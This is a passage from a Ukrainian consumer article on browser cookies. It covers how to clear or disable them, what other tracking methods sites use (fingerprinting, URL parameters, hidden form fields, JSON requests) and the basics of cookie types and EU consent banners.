Щоб очистити куки, достатньо натиснути комбінацію клавіш Ctrl+Shift+Backspace (Windows) або ⇧+⌘+Backspace (Mac), потім поставити галочку в пункті, де йдеться про куки, і вибрати період, за який потрібно видалити дані. Це спрацює у всіх браузерах, окрім Safari.
У Safari знадобиться зайти в «Налаштування – Конфіденційність» та натиснути кнопку «Керувати даними веб-сайтів». Після цього відкриється спливаюче вікно, де можна вибірково видалити куки для потрібних сайтів.
Якщо раптом вказана вище комбінація клавіш не працює, ми маємо окрему статтю з покроковими інструкціями з очищення файлів cookie у всіх популярних браузерах:
Чи можна відключити куки
Це можна зробити в налаштуваннях браузера, але краще не треба, оскільки це може порушити роботу деяких сайтів. Звичайно, якщо відключити, відстежити ваші дії стане трохи складніше, але це не буде неможливо. Сайти можуть використовувати інші способи збирання інформації, на які ви або не можете вплинути, або це буде важко зробити. Ось кілька із них:
- Цифрові відбитки. Зібрати дані про ваш пристрій можна, використовуючи JavaScript, HTML-заголовки, локальне сховище браузера і навіть CSS. Потім, на основі цих даних, можна створити унікальний ідентифікатор.
- Параметри URL. Такий спосіб часто використовують у рекламних кампаніях. Параметри додають до основної адреси сторінки після питання (?). Наприклад, в URL https://vashdomen.com/page?utm_source=newsletter параметр utm_source передає інформацію про джерело переходу на сайт.
- Приховані поля форм. При заповненні форм можуть бути невидимі поля, куди сам відвідувач нічого не вводить, сайт сам підставляє потрібну інформацію, щоб передати її на сервер.
- JSON запити. З їхньою допомогою можна надсилати на сервер інформацію про те, що відвідувач робить на сайті (навіть у реальному часі). Від проведеного на сторінці часу до кліків за кнопками та рухами миші.
Можна, звичайно, відключити і JavaScript, щоб ще сильніше збільшити анонімність у мережі, але тоді багато сайтів точно зламаються. Ця мова використовується майже на кожному сайті.
Головне про куки
- Куки - це невеликі файли, які сайти зберігають у нас на комп'ютері, щоб при наступному відвідуванні згадати, що ми робили на сайті раніше.Це робить сайти зручнішими та допомагає їх власникам розвивати свій бізнес.
- Куки бувають постійні та тимчасові, первинні та сторонні. Їх також використовують для різних цілей, таких як робота критичних служб сайту, функціонал для поліпшення досвіду користувача, аналітика, реклама.
- У куках може зберігатися практично будь-яка інформація, навіть конфіденційна. Це безпечно, якщо їх правильно налаштувати. Але на будь-який пожежник краще залишати особисті дані лише на перевірених сайтах.
- На багатьох сайтах вискакує плашка про використання кук, тому що цього вимагає законодавство ЄС та деяких інших країн. Так власники сайтів зізнаються, що збирають особисті дані відвідувачів та обробляють їх для своїх цілей.
- Іноді через cookie можуть виникати проблеми з відображенням сторінок, а також можуть накопичитися у великому обсязі. Тому іноді їх потрібно чистити вручну.
Подібні статті
- Як працює замкнута екологічна система
- Як працює система переведення в готівку
- Як працює бікарбонатна буферна система
- Як працює система Common Rail
- Як працює система Dali
- Як працює нервова система риб
- Що таке система апс та СОУЕ
- Що таке система організму